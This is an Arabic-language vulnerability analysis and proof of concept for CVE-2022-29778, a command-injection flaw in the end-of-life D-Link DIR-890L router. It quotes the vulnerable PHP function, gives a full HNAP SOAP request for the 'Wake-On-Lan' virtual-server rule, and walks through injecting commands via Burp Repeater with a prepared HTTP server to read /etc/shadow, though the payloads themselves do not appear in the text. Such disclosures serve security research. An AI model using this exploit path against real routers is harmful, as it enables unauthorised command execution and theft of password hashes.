
تحليل وPoC لـ D-Link DIR-890L RCE (CVE-2022-29778)
الإصدار المتأثر: <= v1.22B01 Hotfix (الأحدث)
البرنامج الثابت: هنا
هذا الطراز بلغ نهاية دورة حياته. لقد توقف تطوير الموارد المرتبطة بهذه المنتجات وأصبحت غير مدعومة. توصي شركة D-Link Systems, Inc. بإيقاف استخدام هذه المنتجات واستبدالها بمنتجات تتلقى تحديثات للبرنامج الثابت.
في البرنامج الثابت الخاص به، يمكننا العثور على دالة getWOLMAC في SetVirtualServerSettings.php
function getWOLMAC($ipv4addr)
{
$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
setattr("/runtime/wakeonlan/mac", "get", $cmd);
$mac = get("", "/runtime/wakeonlan/mac");
del("/runtime/wakeonlan/mac");
return $mac;
}
تقوم $cmd بدمج $ipv4addr مباشرة في الأمر دون أي تصفية، ويتم استدعاؤها في:
$ipv4addr = get("x", "LocalIPAddress");
...
if($description == "Wake-On-Lan")
{
$wolmac = getWOLMAC($ipv4addr);
set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
}
لذا، عندما تقوم بتعيين $description (المقابلة لاسم الخادم الافتراضي) إلى "Wake-On-Lan"، فقد توجد ثغرة RCE (تنفيذ أوامر عن بُعد) في الصفحات المتعلقة بالخادم الافتراضي: /VirtualServer.html.
يتطلب الأمر مصادقة، لذا سجّل الدخول أولاً.

ثم قم بزيارة صفحة الخادم الافتراضي (/VirtualServer.html) التي لا يمكن الوصول إليها من خلال لوحة التحكم.

أضف قاعدة باسم Wake-On-Lan.

شغّل burpsuite قبل النقر على زر Save والتقط الحزمة التالية:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings>
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
<ExternalPort>1</ExternalPort>
<InternalPort>1</InternalPort>
<ProtocolType>TCP</ProtocolType>
<ProtocolNumber>6</ProtocolNumber>
<LocalIPAddress>192.168.0.100</LocalIPAddress>
<ScheduleName></ScheduleName>
</VirtualServerInfo>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>
جهّز خادم HTTP ثم:

استخدم وحدة Repeater لاختبار ثغرة RCE (تنفيذ أوامر عن بُعد):

ونحصل على:

اختبر حقن الأوامر واقرأ /etc/shadow:
